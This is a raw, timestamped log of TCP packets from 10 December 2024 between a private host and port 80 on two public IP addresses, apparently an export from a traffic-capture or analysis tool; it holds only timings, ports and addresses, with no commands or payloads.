Dec 10, 2024 19:02:03.134279966 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:03.964854956 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:03.965591908 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.041758060 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.042691946 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.084428072 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.085958958 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.086132050 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.109812021 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.109863997 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.138012886 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.205910921 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.282025099 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.285592079 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.285756111 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.432404041 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.606782913 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.607039928 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.607049942 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.636202097 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:04.757287979 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.757303953 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:04.757317066 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:05.513415098 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:05.635477066 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:05.714833975 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:05.838619947 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.423368931 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:06.428591013 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:06.430833101 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.547439098 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.547549963 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.548224926 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.674072027 CET	80	49909	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:06.674166918 CET	49909	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.674345970 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:06.674415112 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.674544096 CET	80	49910	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:06.674591064 CET	49910	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.674635887 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:06.795515060 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:07.026233912 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:07.145642996 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:07.145674944 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:07.145689011 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:08.115295887 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:08.244837999 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.406527042 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:11.441267967 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.561299086 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:11.561436892 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.561642885 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.635473967 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.682188034 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:11.917144060 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:11.968816996 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:12.036839962 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.036859035 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.090317011 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.090374947 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:12.090508938 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:12.209804058 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.448139906 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:12.572777987 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.572817087 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.572828054 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.647680044 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:12.823509932 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:13.130584002 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:13.323204041 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:13.508732080 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:13.635524988 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:14.827778101 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:14.944472075 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:14.944534063 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:14.944534063 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:14.945346117 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.064878941 CET	80	49927	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.064945936 CET	49927	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.065104008 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.065165997 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.065337896 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.065419912 CET	80	49916	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.065460920 CET	49916	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.065510988 CET	80	49928	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.065555096 CET	49928	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.185669899 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.416805983 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:15.542327881 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.542361975 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:15.542373896 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:16.479373932 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:16.541775942 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:17.999959946 CET	80	49934	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.120819092 CET	49945	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.135452986 CET	49934	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.136137009 CET	49945	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:18.136590958 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.240374088 CET	80	49945	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.241595030 CET	49945	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.255769014 CET	80	49945	172.67.186.200	192.168.2.4
Dec 10, 2024 19:02:18.256357908 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.256448984 CET	49945	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:18.256541967 CET	49945	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:18.256545067 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.256650925 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.376038074 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.410682917 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.530692101 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.533670902 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.533813000 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.604342937 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:18.653224945 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.723768950 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.723798990 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:18.886975050 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:19.006609917 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:19.006632090 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:19.006644011 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:19.678037882 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:19.838623047 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:19.950750113 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:20.026190996 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:20.160553932 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:20.229279041 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:20.720627069 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:20.838641882 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:20.913860083 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.026114941 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.038451910 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.038455009 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.039874077 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.158725977 CET	80	49947	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.158796072 CET	49947	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.159229994 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.159302950 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.159404039 CET	80	49946	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.159434080 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.159459114 CET	49946	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.278783083 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.510525942 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:21.629993916 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.630019903 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:21.630057096 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:22.244735003 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:22.338712931 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:22.768174887 CET	80	49953	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:22.838607073 CET	49953	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:22.902786016 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:23.023801088 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:23.025624037 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:23.025799990 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:23.148683071 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:23.369995117 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:23.489758968 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:23.489805937 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:23.489824057 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.122797966 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.338583946 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.398729086 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.523278952 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.524252892 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.643121958 CET	80	49959	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.643183947 CET	49959	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.643546104 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.643712044 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.643847942 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:24.763194084 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:24.995213032 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.115318060 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.115333080 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.115343094 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.167862892 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.168080091 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.287625074 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.287889957 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.287935972 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.288054943 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.332331896 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.413403988 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.413415909 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.413606882 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.413759947 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.536509037 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.635574102 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.701575041 CET	80	49964	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.703922987 CET	49964	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.760548115 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.885477066 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:25.903384924 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.903400898 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.903934956 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.904023886 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:25.904032946 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:26.004862070 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:26.712904930 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:26.760457039 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:26.846625090 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.026089907 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.037019968 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.088592052 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.496062040 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.616302013 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.616377115 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.616866112 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.737298012 CET	80	49966	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.737413883 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.737478018 CET	49966	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.737505913 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.737669945 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.737867117 CET	80	49967	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:27.737921953 CET	49967	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:27.857669115 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:28.088711977 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:28.208261013 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:28.208276987 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:28.208287001 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.164959908 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.338619947 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.480071068 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.526108027 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.703059912 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.820456982 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.820943117 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.940861940 CET	80	49973	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.940911055 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:29.941029072 CET	49973	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.941062927 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:29.941271067 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:30.060506105 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:30.291949987 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:30.411322117 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:30.411413908 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:30.411423922 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:31.071196079 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:31.135461092 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.488723040 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:31.622497082 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.623332977 CET	49984	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.745004892 CET	80	49979	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:31.745099068 CET	49979	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.745279074 CET	80	49984	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:31.745358944 CET	49984	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.745495081 CET	49984	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:31.864944935 CET	80	49984	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.042789936 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.042864084 CET	49984	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.162533998 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.164732933 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.164877892 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.164932013 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.208406925 CET	80	49984	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.285609007 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.285798073 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.289669991 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.289793968 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.412033081 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.510560036 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.630175114 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.630194902 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.635636091 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.638081074 CET	80	49984	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.639695883 CET	49984	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:32.760128975 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.760148048 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:32.760164022 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:33.592298985 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:33.635512114 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:33.705897093 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:33.760516882 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:34.122500896 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:34.338603973 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:34.845736980 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:34.932359934 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:34.961508989 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:34.961572886 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:34.962106943 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.081428051 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.081491947 CET	80	49986	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.081491947 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.081542015 CET	49986	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.081666946 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.082315922 CET	80	49987	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.082356930 CET	49987	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.202352047 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.432568073 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:35.552109003 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.552197933 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:35.552213907 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:36.168581963 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:36.231616974 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.678710938 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:36.729243040 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.803771973 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.804374933 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.924041986 CET	80	49995	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:36.924184084 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:36.924288988 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.924290895 CET	49995	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:36.924465895 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:37.044437885 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:37.276237965 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:37.520508051 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:37.520524979 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:37.520539999 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:38.451028109 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:38.527631044 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:38.956494093 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.026124001 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.074862957 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.075738907 CET	50005	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.137152910 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.138040066 CET	50005	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:39.197457075 CET	80	49999	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.197523117 CET	49999	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.197824001 CET	80	50005	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.197890997 CET	50005	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.256633997 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.256699085 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.256949902 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.257466078 CET	80	50005	172.67.186.200	192.168.2.4
Dec 10, 2024 19:02:39.257519007 CET	50005	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:39.257615089 CET	50005	80	192.168.2.4	172.67.186.200
Dec 10, 2024 19:02:39.377162933 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.392395020 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.517673016 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.517756939 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.517879963 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.604379892 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.638526917 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.727576017 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.727751017 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.869988918 CET	50008	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:39.990019083 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.990037918 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:39.990056038 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:40.343329906 CET	80	50006	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:40.528001070 CET	50006	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:40.636914015 CET	80	50008	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:40.814692020 CET	80	50006	104.21.2.8	192.168.2.4
